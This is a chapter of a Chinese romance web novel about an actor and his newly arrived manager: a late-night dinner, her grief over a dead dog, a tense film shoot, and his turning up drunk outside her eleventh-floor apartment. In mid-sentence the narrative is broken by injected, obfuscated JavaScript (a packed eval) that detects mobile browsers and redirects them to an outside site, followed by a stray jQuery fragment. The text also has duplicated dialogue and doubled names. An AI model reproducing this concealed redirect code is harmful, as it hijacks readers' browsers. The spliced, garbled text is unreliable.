凌晨的聚餐不外乎是大排档或是火锅串串,但俞城把着方向盘,带潘舟去了一家晚上才开业的livehouse的顶层餐厅。潘舟本要推辞,但俞城拿出了俞老师的招牌,执意坚持,最后潘舟趁着去卫生间的间歇结了账,俞城还为此事不爽。
既然有车,两人都没有喝酒。
“你的酒店在哪里?”俞城重新坐上驾驶座的位置。
“往前开一点就行,右拐,”潘潘舟报了个大概方向,“到这附近就行,本来应该我先送你的。”
俞城因为密集的拍摄档期,为了方便,一直住在离摄影棚最近的那家酒店。今晚这趟特意开车进市区,仅仅是为了陪她吃顿饭。而自己刚下飞机,临时落脚在机场附近的酒店,离这里路途遥远。若让俞城先送她回去再折返摄影棚,时间就太晚了。
更何况……潘舟的目光不由自主地飘向车窗外。
不远处,几栋熟悉的高层住宅楼在夜色中耸立,那是她回国前居住的公寓小区。
她望着这座城市的夜景,过去的回忆萦绕不散。
就在这?”俞城依言将车稳稳停在路边,抬腕看了看表,指针已悄然滑过零点。
他顺着潘舟的目光望去,沿街的几栋密集的高层在一片低矮的居民楼胡同里格外突兀,此刻只有零星几扇窗户透出微弱的灯光,看得出小区不大,住户也并不多。
“马上就开车回去,好吗?”潘舟解开安全带下车,在车门处嘱咐,“能做到吗?会像扔鞋子一样不听话吗?”
“……不会。”俞城闷闷地说。
潘舟直起身,将下巴深深埋进大衣竖起的领口,快步走到小区大门的感应门。
“谢谢你送我啦!赶紧开车回去吧!”
她的声音隔着一段距离传来,清脆而带着暖意,挥了挥手,手随即身影便融入了单元门内的黑暗之中。
俞城没有立刻发动车子,目光落在了潘舟挥手的手套上。
他无意识地抬起自己的右手,掌心张开。
想起了片场开车前,在车门处短暂的触碰。
是柔软的,细滑的,像玉,也像水。很快就跑掉了,像翻起石头就窜走的河虾。她倏地一下就抽走了,只留下一点转瞬即逝的微凉和麻痒。
但怎么会那么凉呢。
他缓缓收拢手指,握成一个拳头,仿佛想抓住那残留的一丝微凉触感。
不知道现在,那只手还凉不凉。
俞城望着潘舟消失的方向,熄灭发动机,关闭车内的所有光线。从后排拿出一顶鸭舌帽,把帽檐压低,黑夜的阴影盖住他大半张脸。
他跨步,走出车门。
*
公寓内。
潘舟走出电梯,鞋跟敲击在空旷走廊的回声显得格外刺耳。走过长长的走廊,直到停在末端的房间门口。
她伸出手,掌心贴上冰冷的密码锁屏幕。数字幽幽亮起,绿色的荧光映着她苍白的指尖,却迟迟没有按下。
记忆如同汹涌的潮水,瞬间将她淹没。
她还记得很多年前,当她出现在这扇门前,就会听到地板清脆的跳动声和兴奋的轻吠。
等她打开门,就会有一只忽闪着嗅味的狗鼻子从门缝里钻出来,尾巴把门板扇得砰砰响。
但现在只有寂寞的漆黑和残忍的回忆包围着她。
它是一只德牧犬,从潘舟在垃圾桶里把它抱回家,一直到最后在怀里离开。所有的欢笑、依赖、痛苦和失去,都在这扇门后。
背后走廊的感应灯的黄光熄灭,数字的绿光也在黑夜里黯淡了。
潘舟的身体晃了晃,像被抽走了所有力气。
潘舟执拗地靠着门坐下,她不想走,但也进不去。
*
俞城倚靠着车头,站在空无一人的街道旁。
他仰着脖子,望着潘舟离开的方向和大楼每一层黑漆漆的窗口。
他看到有一层从中间亮起了第一盏灯。随后向右,第二盏,第三盏,暖黄色充满了狭长的空间,很快又全部熄灭,归于黑夜。
他缓缓抬起手臂,手指从一楼开始,沿着墙壁的轮廓,精准地向上滑动,指尖最终定格在灯光最后熄灭的那个位置。
手指,从一楼从下往上滑行到最后一盏熄灭的位置。
帽檐下,他那双锐利的眼睛危险地眯起,薄唇无声地默念:
“十一楼。”
*
上午九点,百纳公司的大厦中层。
昨晚,潘舟还是没敢踏进公寓。在门口伤心地蹲坐了半个多小时,最后认怂,打车绕了不少路,最终返回机场旁的酒店。
加上倒时差的睡眠不足,潘舟头脑发胀,刚穿高跟鞋没多久就觉得脚疼。
她今天到百纳总部,一方面是要走一些官方的入职流程,更重要的是来见一见面前坐着的这位。
杨齐,俞城的大经纪人,正慢条斯理地提着茶具。他看起来三十多岁,气质淡泊沉稳,像一潭深不见底的湖水,但那双审视的眼睛却锐利如鹰,毫不掩饰地打量着潘舟,仿佛要将她一寸寸剖析。
“潘舟?来坐。”
“我听俞老师说了,你是他的得意门生。”他斟了一杯茶,推到潘舟面前,“他推荐的人,我自然放心。只是之前业内似乎没怎么听说过你的名字?”
“我听俞老师说了,你是他的学生,”杨齐说,“他推荐的人我肯定放心。只是之前怎么没听说过你呢?”
“我大学毕业后就去国外发展了,最近才回来。”潘舟潘舟端起茶杯,礼貌微笑。
“可惜了,”杨齐抿了口茶,语气带着一丝难以捉摸的惋惜,“若你早归两年,俞城这棵好苗子,恐怕也轮不到我来拾掇了。”
“杨哥这是什么话,在经纪人这一行,您的经验和手腕,我望尘莫及。”
“小潘谦虚了,五年前《旧池塘》这部戏不就是你带的俞城吗?你看看,现在多火。”
杨齐吊起眼睛喝茶,余光却观察潘舟的反应。
“那就是学生实习,闹着玩的,”潘舟装作听不懂的样子,诚恳地笑着,“这次能进百纳,已是俞老师厚爱,往后还要仰仗您多多指教,多给我些学习历练的机会。有什么工作您尽管吩咐,我绝不推辞,总要对得起这份薪水。”
杨齐呵呵笑着,潘舟也看不出情绪来。
“以后就是同事了,互相帮衬。这些是近期找俞城的剧本和通告,你也熟悉熟悉,看看有没有合适的。”
杨齐拿起桌面一叠文件夹,潘舟收下,起身准备离开。
哦,对了,”杨齐的声音在身后响起,“最近在接触一个真人秀,田野慢生活类的,档期很近,就在你手上那堆文件里。我还没来得及跟俞城提,你替我问问他的想法吧。”
*
摄影棚内,高大的摇臂和滑轨围绕在中心,俞城和和一名女演员面对面站立,旁边的鼓风机在演员身影旁吹散一片雪花,他们身后是一块七八米的绿幕。
潘舟坐在俞城的休息区域,刘助理已经贴心地给潘舟准备了椅子,此时她在膝盖上放了一叠通告,正在和刘助理核对接下来的行程。
目前这场戏是俞城所饰演的保镖和豪门小姐私下见面分别的场面。女主角此时为了家庭的利益要前往危险地区,保镖不能跟随,女主角这时故意说了很多伤人的话,为了让男主角死心。
剧本这一段所写的,俞城应该边质问挽留女主,边流下眼泪。
是一场比较情绪比较激励的哭戏。
不过她望向俞城的方向,隐隐觉得这场戏拍摄并不顺利。
潘舟站起来,走到监视器后面。
监视器正对着俞城正面,镜头从他胸口的位置慢慢推近到面部特写。俞城的台词很清晰,句与句之间的连接也很自然。强烈的追问语气下,表情也是控制在小幅度的变化中,不至于五官乱动破坏情绪。
但关键的流泪,潘舟觉得俞城做的不好。
俞城眼神专注,讲到激动处脖颈会绷出激动的线条。他的眼睛是含泪的,眨眼就会顺着脸颊慢慢流到棱角锋利的下颌线中。
越往后演,泪水理应随着情绪越来越多,但俞城像是一下子就把泪哭完了,到了后面反而只有情绪,倒流不出泪了。
“卡了吧。”导演拿起喇叭,“演员休息一下。俞城来这边。”
俞城俯身,化妆师用棉片擦去脸颊上的湿润,补上薄薄的粉底。他走过来,半路看到了监视器后的潘舟。
他脚步一顿,脸上一闪而过一丝不悦,加快脚步一声不吭地越过潘舟,走到导演身边。
潘舟识相地低下头翻看剧本。
很快她就感到面前靠过来一堵人墙,光线一暗,把她笼罩在宽肩的阴影。
“怎么样,你又有什么高见?”
冷冷的低沉声音从头顶传来。
俞城紧抿嘴唇,身体倾向潘舟,浑身仿佛包围着寒气。
他眼眸凝聚成深不见底的黑,之前的温情和泪水都消融在眼底,毫不掩饰地用锐利的目光盯着潘舟的脸,执
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280152|182518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意不放过潘舟一丝情绪。
潘舟叹口气,任由他打量:“我没说什么。我只是觉得你能做的更好。”
“哈,你觉得很容易是吗?在这么多人,这么多镜头前面。”
潘舟微张嘴唇,想解释什么,但俞城猛地后退一步,从潘舟手中抽走剧本。
“别用那种眼神看我。”
他烦躁地用手胡乱把喷了发胶的头发揉乱,双手背后拽掉外套扔在月亮椅上,发出“砰”的一声闷响,而他则直接离开。
片场其他人都愣住,不知该作何反应。
俞城周围一片低气压,也没人敢拦他一下,越走越远。
“俞城,我给你一个小时,”潘舟出声,清晰地穿透了这片死寂,“自己回来。”
她甚至刻意提高了音量,毫不避讳周围惊愕的目光。
俞城背影猛地一僵,脚步一滞。
下一秒,他一个急转身,抓住旁边不知所措的刘助理,从口袋里掏出车钥匙,大跨步离开。
*
一小时过去,片场弥漫着尴尬和焦灼的气氛,俞城毫无踪影。
导演无奈宣布暂停,提前发放盒饭。工作人员搬着器材经过潘舟身边时,眼神都带着小心翼翼的窥探。毕竟在此之前,没人认识潘舟这个人,在此之后,又有很多人背后观察关注潘舟,估量她的能力。
“要不要告诉杨哥?”刘助理问。“让他想想办法。”
潘舟看了看手机,她向俞城打过去的第三个电话,也是忙线自动挂断。
刘助理打电话问了不少人。工作室、酒店、自家小区,能想到的地方都找了,就是没见俞城的影子。
“不用,我有办法。”
潘舟看着手机屏幕,眼神沉静如水。
她点开微信,找到俞城的对话框,手指按住语音键,贴近麦克风发送语音。
“我还记得五年前,你在《旧池塘》跑龙套时候做过的那些光辉事迹。刘助理,喊小白她们过来一块来吃饭,跟组都辛苦了。真是时光如梭啊,现在你长大了。”
她故意停顿了一下,然后提高音量,“但当时你是第一次拍戏吧?分不清道具和真实,对吧?”
被点到名的小白和几个化妆师、造型师女孩,早就竖着耳朵好奇得不得了,一听潘舟召唤,立刻围了过来。
“比如啊,”潘舟的语调带上了一丝回忆的悠长,“有次你好奇心爆棚,偷偷溜进仓库想摸个古董手机玩玩,结果手一翻掉出来一把道具小刀,吓得魂飞魄散,脚下一滑,一屁股坐在刀刃上,后来,是谁捂着屁股,眼泪汪汪地跑来找我的来着?”
小白她们忍不住发出压抑的轻笑,充满期待地看着潘舟。
语音发出去没多久,刺耳的铃声就响起,屏幕上跳动着两个大字:【俞城】。
她按下接听键,将手机放到耳边。电话那头一片沉默。
潘舟也故意不说,但小白几个人可忍不住。
“潘姐,快继续说呀!后来呢?”小白几人的笑闹声传进话筒。
“你不许说。”
电话那头,俞城闷闷的声音响起。
“不好意思了姑娘们,”潘舟站起身,带着歉意拍拍小白的肩膀,“看来有人害羞了,以后再找机会跟你们讲。”
她拿着手机走到稍微安静点的角落,语气恢复了平日的温和:“什么时候回来?”
“今天我不回片场了。”俞城执拗地说。
“为什么?”
“……你别管,反正我不去。”
“这么不想拍这场戏啊,”潘舟的语气依旧很好商量,“那告诉我你在哪,我就帮你把耍大牌这事兜着。”
听筒里只传来男人深沉的呼吸声,潘舟似乎还听到几声无奈的笑声。
“我喝多了,回不去,”
俞城仰头靠在楼梯间的防火门,听着走廊外住户经过的脚步声。
“就在你家门口,十一楼。”
*
一小时后。
“你怎么找到这里的?”潘舟惊呆。
潘舟背着托特包回到十一楼的公寓,推开楼梯间的防火门,就看到这样一副景象。
俞城真的在楼道里瘫坐着。
他靠在墙边,一腿屈起。脱掉了片场的服装,穿着一件深灰色的连帽卫衣。腿边竖放着一瓶酒。
鸭舌帽因为和墙面摩擦,帽檐翘起来,露出两只喝酒后湿漉漉的眼睛,耳朵通红。
他看到潘舟,迅速把眼神望向了别处。